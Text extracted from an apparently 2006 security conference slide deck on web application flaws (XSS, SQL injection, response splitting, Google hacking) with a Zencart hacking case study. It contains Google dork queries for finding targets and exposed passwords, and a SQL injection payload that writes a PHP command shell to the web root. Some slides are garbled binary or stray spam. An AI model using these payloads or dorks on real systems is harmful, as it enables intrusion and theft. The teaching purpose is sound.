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Proactive Security

Whoever is first in the field and awaits the 
coming of the enemy, will be fresh for the 
fight; whoever is second in the field and 
has to hasten to battle will arrive 
exhausted.

-- Sun-Tzu “The Art of War”



RoadMap
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PHP & the Fortune 25
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Lowdown on the latest ITSC threat report
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Vulnerability Percentages



May 2006 Breakdown



Directory Traversal
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Cross-Site Scripting (XSS)



Cross-Site Scripting
• What is it? : The Web Application is used to store, transport, and deliver 

malicious active content to an unsuspecting user.

• Root Cause: Failure to proactively reject or scrub malicious characters from 
input vectors.

• Impact: Persistent XSS is stored and executed at a later time, by a user. Allows 
cookie theft, credential theft, data confidentiality, integrity, and availability risks.  
Browser Hijacking and Unauthorized Access to Web Application is possible 
using existing exploits.

• Solution: A global as well as Form and Field specific policy for handling
untrusted content. Use white lists and regular expressions to ensure input data 
conforms to the required character set, size, and syntax. 



Unvalidated Input (A1) with XSS (A4)



Unvalidated Input (A1) with XSS (A4)



Unvalidated Input (A1) with XSS (A4)



Unvalidated Input (A1) with XSS (A4)



Unvalidated Input (A1) with XSS (A4)

Unvalidated Input and resulted in a Cross-Site Scripting Attack and the 
theft of the Administrator’s Cookie



Cross-Site Scripting Exploit
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SQL Injection 



SQL Injection
• What is it?: Database contents are compromised or disclosed by the use of 

specially crafted input that manipulates SQL Query Logic.

• Root Cause: Failure to properly scrub, reject, or escape domain-specific SQL 
characters from an input vector.

• Impact: Data confidentiality, integrity, and availability with the ability to read, 
modify, delete, or even drop database tables.

• Solution: Define accepted character-sets for input vectors, and enforce these 
white lists rigorously. Force input to conform to specific patterns when other 
special characters are needed: dd-mm-yyyy. Validate data length of all inputs.





HTTP Response Splitting



HTTP Response Splitting
• What is it?: The Web Application’s response to a malformed request gets 

parsed ambiguously by the browser or intermediate servers (such as web 
caching proxies), resulting in the browser seeing content for a request page 
that is controllable by an attacker. 

• Root Cause: Failure to filter CR and LF Characters in input.

• Impact: A malicious user can poison web cache servers or manipulate the
browser content of users, create cookies (CRLF Injection)

• Solution: A global as well as Form and Field specific policy for handling
untrusted content. Use white lists and regular expressions to ensure input 
data conforms to the required character set, size, and syntax. Ensure Server 
mechanisms for redirection and error handling strip CR and LF characters, 
thus preventing header manipulation attacks. 





Google Hacking



Google: The Dark Side of Searching
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Where are we going with this?
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What makes Google so powerful?
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Light-Side Google verses Dark-Side Google
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The Google Search API



The Google Search API



The Google Search API



The Google Search API
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Passive Scanning & Exploitation Scenario
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Queries google for 
vulnerabilities that he wants 
to exploit and Google returns 
a targets. 

If the Hacker has a grudge, 
he can use “site:” to narrow 
down the range to domains, 
servers, or even extensions 
“gov, mil,” etc.
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Can view “cached 
documents” for extra stealth

Anonymous Proxy Chain
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Application Worms Scenario
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Script is vulnerable to 
OS Command injection
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Inurl: forgotten_password.php 
intext: zen_pass

Exploits Flaw and 
iterates over search 
results
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GH Example: Find Applications via an Error signature
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GH Example: Find Applications via an Error signature
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GH Example: Banner Rotation 01 (May 2000)
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GH Example 2: Exposed Admin Password for Banner 
Rotator 01
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Exposed Admin Password DC Shop
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Exposed Admin Password DC Shop

����Q�+
��+��
������������

�
���'A
��+P����P*�����<�A



Interesting File Types are often crawled

��� @Q����
�
�
���M
��
��*����C�
����������
�
�������
���������3

*�������'�.���
���'
���


*�������'�.�



Free swingerslist Personal adds! w00t.



PHP List File Inclusion Vulnerability
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Free swingerslist Personal adds! w00t.



Use Google to find redirection points or URLs passed as 
parameters. Also used for phishing attacks
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tom@cenzic.com
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Hacking Zencart: A case study



Security Assessment Process: A Case Study
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Security Assessment Process: Key Lessons
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Security Assessment Process: A Case Study



Security Assessment Process: A Case Study



Zencart Application Error



Example: Application Errors
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Path disclosure vulnerabilities tell an attacker where
the web application exists relative to the web server,
such as where on the server the application is 
installed.



Security Assessment Process: A Case Study



Example: Blind-SQL Injection
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Blind SQL Injection vulnerabilities allow a cracker to 
determine what database tables exist and the types of 
permissions associated with those tables. 

. 

'UNION SELECT 0,0,'3 Blind Mice',0 INTO 
OUTFILE 'C:/Mice.txt' from admin/*



Example: Blind-SQL Injection
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It doesn’t really matter what is injected so long as the 
injection logic can produce an error that allows us to 
discern true vs. false conditions.

. 



Finishing Move
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Finishing Move: SQL CMD Exec
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By using ordinary SQL expression logic we can instruct 
Mysql to create a file of our choosing anywhere on the 
host OS. We also know exactly where the web root 
directory is due to the handy application error.

'UNION SELECT 0,0, ' <?php echo “Welcome to PHP 
Shell.";system($_GET[cmd]);?>' ,0 INTO OUTFILE
'C:/Documents and Settings/user/ 
Desktop/PortableWEB/PortableWEB3.2
/program/www/localhost/shell.php ' from zen_admin/*



Security Assessment Process: A Case Study



Shell.php
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Challenges of Application Security Automation
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Security Assessment Process
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• The process follows the logical 
flow of the application and its 
vulnerabilities (App Logic)

• Each vulnerability helps us to know 
more about the application and 
leverage additional access. 
(Interdependence)

• Specific finds yield information 
relevant to other tests, which is 
leveraged. (Specificity)

• Vulnerabilities are often signaled 
by application specific rather than 
generic responses. (Uniqueness)

• When testing for the vulnerability 
we adapt to the particular 
characteristics of the vulnerability 
itself (Customization)



Challenges of Application Security Automation



Stateful Assessment: Example XSS
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Script executes 
here, 50 pages later.
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Stateful Assessment
• Multi-factored detection mechanisms
• XSS, SQL Injection, Response Splitting, 

Session Hijacking, Privilege Escalation, and 
others.



•Thank you for your 
time and attention!

•www.owasp.org

•www.owasp.net

•Contact: 

tom@cenzic.com


